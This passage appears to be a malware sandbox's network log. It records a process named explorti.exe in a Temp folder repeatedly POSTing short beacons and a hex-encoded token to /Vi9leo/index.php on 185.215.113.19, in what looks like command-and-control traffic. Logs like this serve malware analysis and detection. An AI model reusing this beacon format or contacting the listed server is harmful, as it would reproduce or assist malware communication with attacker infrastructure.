Sep 1, 2024 01:30:34.328649044 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49778	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:34.438256979 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:35.174907923 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:35.175677061 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:35.427834988 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49779	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:35.547482967 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:36.309258938 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:36.310195923 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:36.568820953 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49780	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:36.688268900 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:37.429871082 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:37.430605888 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:37.676294088 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49781	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:37.803998947 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:38.561965942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:38.699764967 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:38.948776960 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49782	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:39.066920996 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:39.803845882 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:39.804614067 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:40.049938917 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49783	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:40.156732082 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:40.924962044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:40.927501917 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:41.217370033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49784	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:41.328749895 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:42.070678949 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:42.071333885 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:42.322824001 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49785	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:42.438261032 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:43.185791016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:43.196134090 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:43.440956116 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49786	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:43.549788952 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:44.310885906 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:44.311768055 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:44.560885906 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49787	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:44.677736998 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:45.422816992 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:45.423530102 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:45.669425964 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49788	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:45.844497919 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:46.624990940 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:46.625662088 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:46.874825001 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49789	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:46.986639023 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:47.742904902 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 01:30:47.743694067 CEST	308	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Sep 1, 2024 01:30:47.992450953 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49790	185.215.113.19	80	5240	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 01:30:48.157018900 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 01:30:48.873415947 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 31 Aug 2024 23:30:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
